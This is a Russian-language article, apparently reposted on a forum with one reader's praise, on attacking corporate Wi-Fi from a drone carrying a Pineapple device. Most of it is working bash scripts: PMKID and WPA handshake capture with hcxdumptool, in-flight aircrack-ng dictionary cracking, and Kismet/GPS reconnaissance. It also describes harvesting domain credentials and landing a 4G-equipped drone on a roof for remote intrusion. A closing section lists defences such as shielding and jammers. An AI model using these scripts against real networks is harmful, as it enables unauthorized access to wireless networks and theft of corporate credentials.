На представленной ниже иллюстрации телефоны сотрудников бессознательно кинули в пролетающий мимо дрон учетные записи корпоративной беспроводной сети.

ris6-18_ekQLq2U.jpg


Для реализации такой атаки злоумышленнику не нужно дорабатывать скрипты Pineapple. Все необходимое уже проделано в соответствующем разделе предыдущей статьи. Для активации атаки на Pineapple просто ставится перемычка на GPIO-25 (замыкающая пины 20 и 22), после чего устройство включается. Загорелся зеленый светодиод — значит, точка доступа поднялась и атакующий может лететь. Дрон вместе с устройством прилетает обратно, горит красный или желтый светодиод — значит, мы вернулись не с пустыми руками и пароль или хеш чьей‑то доменной учетки сохранен на карте памяти. С этой доменной учеткой злоумышленник впоследствии может получить удаленный доступ к почте и раскрыть конфиденциальные данные или даже, при наличии у компании VPN, получить доступ в ее локальную сеть.

Захват хендшейка WPA и PMKID​

В предыдущей рассмотрен ряд атак на аутентификацию Wi-Fi. Аутентификация (захват PMKID) и деаутентификация (захват WPA Handshake) происходят достаточно быстро. Более того, если захват WPA Handshake требует определенных обстоятельств (наличия клиентов), то захватить PMKID, если имеется уязвимая точка доступа, можно всегда и достаточно быстро.

PMKID — это еще один пригодный для брутфорса хеш, который можно получить из первой части четырехступенчатого рукопожатия (EAPOL M1). Для этого не нужны аутентифицированные клиенты, такой пакет точка доступа может отправить атакующему сама в ответ на запрос ассоциации:

wpapsk/auth.sh​


Код:
#!/bin/bash
dumpfile="pmkid-$(date +'%H:%M:%S_%d.%m.%Y')"
hcxdumptool -i mon0 --enable_status=7 -o $dumpfile.pcapng --disable_client_attacks --disable_deauthentication $* | while read line
do
    if echo "$line" | grep -q 'PMKIDROGUE:'; then
        led yellow on 2> /dev/null
    fi
done
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng

Пока дрон летит, этот скрипт отправляет запрос ассоциации на каждую точку доступа в пределах досягаемости радиосигнала.

ris6-19_0fA6wIG.jpg


Как только PMKID захвачен, загорается желтый светодиод. И WPA handshake, и PMKID дает хеш‑сумму, по которой можно восстановить пароль к точке доступа методом перебора по словарю:

wpapsk/brute-pmkid.sh​


Код:
#!/bin/bash
while sleep 60
  for pcap in *.cap
  do echo "$pcap"
    hcxpcapngtool "$pcap" --pmkid=/tmp/m1.pmkid
    hcxhash2cap --pmkid=/tmp/m1.pmkid -c /tmp/out-pmkid.pcap
    for bssid in $(echo 0 | aircrack-ng "/tmp/out-pmkid.pcap" | grep 'with PMKID' | awk '{print $2}')
    do
      if [ -f "/tmp/$bssid" ]; then
        continue
      fi
      touch "/tmp/$bssid"
      aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid" "/tmp/out-pmkid.pcap" -l "$bssid.txt"
      if [ -s "$bssid.txt" ]; then
        led red on 2> /dev/null
        exit
      fi
    done
    rm -f /tmp/m1.pmkid
    rm -f /tmp/out-pmkid.pcap
  done
done

Pineapple с таким скриптом в состоянии сам определить слабые пароли к точкам доступа. Для этого сначала удаляются все пакеты EAPOL M2 (handshake), так как проверяются только с PMKID. После их уникализации, чтобы не брутить одни и те же хеши многократно, запускается уже брутфорс прямо в воздухе. Если пароль подобран, загорается красный светодиод.

Скрипт служит хорошим примером манипуляции набранными хешами, ведь в таком случае aircrack-ng при наличии handshake игнорирует PMKID. Вообще, брутить хеши целесообразно на более мощном оборудовании, ведь все собранные в полете хеши сохраняются на карте памяти Pineapple.

Разведка беспроводных сетей​

Применительно к атакам на беспроводные сети дрон весьма неплохо подходит на роль разведчика. Разместив все тот же Pineapple и подключив к нему внешний GPS-донгл, атакующий может триангулировать расположение каждого беспроводного устройства (точек доступа Wi-Fi, клиентов, Bluetooth-устройств и даже беспроводных мышек и клавиатур) и фиксировать их расположение на карте. Эта информация может быть очень актуальна как для атакующего, выявляющего поверхность будущих атак, так и для защитников, контролирующих свои ресурсы. Ведь весь необходимый сбор данных и расчеты полностью производит программа Kismet. На выходе — дамп SQLite, удобный для самостоятельного парсинга.

Для географической разведки беспроводных сетей требуется лишь два компонента, которые на Pineapple запускаются при старте в положении перемычки на 27-м GPIO:

startup.sh​

Код:
...
elif jmp 27; then
  echo "[*] wi-fi recon (dynamic)"
  monitor_enable
  cd recon
  screen -dmS recon -t gpsd -L -Logfile "$time-recon-%n.log" './gps.sh'
  screen -r recon -t kismet -X screen './kismet.sh'
  screen -r recon -t tcpdump -X screen './tcpdump.sh'
  cd -
...

Когда устанавливается соединение со спутниками, зеленый светодиод дает понять, что можно лететь:

recon/gps.sh​


Код:
#!/bin/bash
gpsd -N /dev/ttyACM0 -D 5 | while read line
do echo "$line"
    if echo "$line" | fgrep -q 'GPS:'; then
        led green on 2> /dev/null
    fi
done

Успешный запуск Kismet, в свою очередь, зажигает желтый светодиод:

recon/kismet.sh​

Код:
#!/bin/bash
kismet -c mon0 | while read line
do echo "$line"
    if echo "$line" | fgrep -q 'success'; then
        led yellow on 2> /dev/null
    fi
done

Теперь после облета территории или даже загрузки GPS-маршрута в дрон атакующий либо защитник могут в автоматическом режиме более качественно выполнить анализ беспроводных сетей, покрывая максимум территории. Полученный дамп может быть преобразован в веб‑страницу, содержащую удобную интерактивную карту, на которой наложено рассчитанное местоположение источников сигнала, а также построена тепловая карта сигналов, как на следующем рисунке.

ris6-20.png


Тепловая карта показывает уровень сигнала от беспроводных устройств в каждой исследованной точке. Любая точка доступа или клиент на такой карте по клику мышкой обводится окружностью, показывающей область ее слышимости.

ris6-21.png


При этом тепловая карта, как можно заметить, перестраивает свой цвет под каждое выбранное беспроводное устройство, тем самым показывая, в каких местах и как принимался сигнал от него. Каждая область, где пролетал дрон, при выборе мышкой показывает беспроводные устройства, доступные именно там.

ris6-22.png


Все вместе это дает представление, не выходит ли зона приема за контролируемую область, где может находиться злоумышленник.

Постэксплуатация​

Если атака будет успешной, злоумышленнику, вероятно, придется вернуться и воспользоваться обнаруженной уязвимостью. Ведь подобранный пароль или перехваченные учетные данные сработают только для конкретной беспроводной сети. В таком случае дрон может доставить Pineapple, снабженный 4G-модулем для удаленного подключения к беспроводной сети на охраняемой территории.

ris6-23_CyZqWmJ.jpg


То, как использовать Pineapple в качестве средства удаленного доступа, .

Дрон с Pineapple на борту может приземлиться на крышу здания. С выключенными пропеллерами он в состоянии ожидать достаточно долго. А тем временем злоумышленник может удаленно подключиться к скомпрометированной беспроводной сети и развивать дальнейшие атаки уже по внутренним сетям. И вполне вероятно, что внутренняя сеть в результате такого проникновения падет раньше, чем на крышу поднимутся сотрудники службы безопасности. Впрочем, в таком случае дрон может стремительно улететь, унеся на своем борту и Pineapple, и 4G-модем. Так что не останется никаких следов.

КАК ЗАЩИТИТЬСЯ​

Дрон способен преодолеть множество классических защитных мер. Пропускной пункт, двери на этаже или в кабинете, даже заборы для него не проблема. И чем крупнее компания, тем выше вероятность встретить уязвимый компонент и тем весомее потенциальная добыча злоумышленника.

Можно рассмотреть следующие варианты защиты от некоторых дронов:
  • одна из тактик защиты — это нападение. Дрон, управляемый по Wi-Fi, — это, по сути, летающий роутер. К нему можно подключиться, как к обычной Wi-Fi-сети, используя простые заводские пароли, после чего перехватить видеосигнал, идущий RTSP-потоком, или перекрыть канал управления;
  • применение обычных подавителей дронов, так как они рассчитаны на наиболее популярные протоколы (FRSKY, ELRS или TBS), по которым управляются даже профессиональные дроны;
  • многие дроны после потери сигнала с пульта управления экстренно садятся, но некоторые улетают обратно по GPS-координатам. Подавители радиосигналов, сообщающих поддельные координаты, могут заставить дрон экстренно сесть в заданной точке;
  • для модифицированных дронов с самодельными режимами управления (например, 4G) можно использовать направленные подавители сигналов.
Среди общих мер, которые защищают от любых дронов, можно отметить следующие:
  • экранирование — размещение критических объектов в помещениях со специальными ограждающими конструкциями, которые препятствуют распространению электромагнитных излучений за пределы помещения (контролируемой зоны);
  • внешнее зашумление электромагнитными волнами, которые не позволяют дрону обнаружить уязвимые беспроводные устройства;
  • контроль физического доступа в пределах радиуса действия беспроводных устройств — поскольку дрон главным образом направлен на обход физических барьеров, а не технических уязвимостей, защиту от него можно рассматривать в том же ключе;
  • размещение критических объектов вдали от внешних ограждающих конструкций — в глубине защищенного здания или под землей.
 

advalex

Уважаемый пользователь
Форумчанин
Регистрация
01.01.2021
Сообщения
31
Репутация
11
Отличная статья))))))))))
 
Верх Низ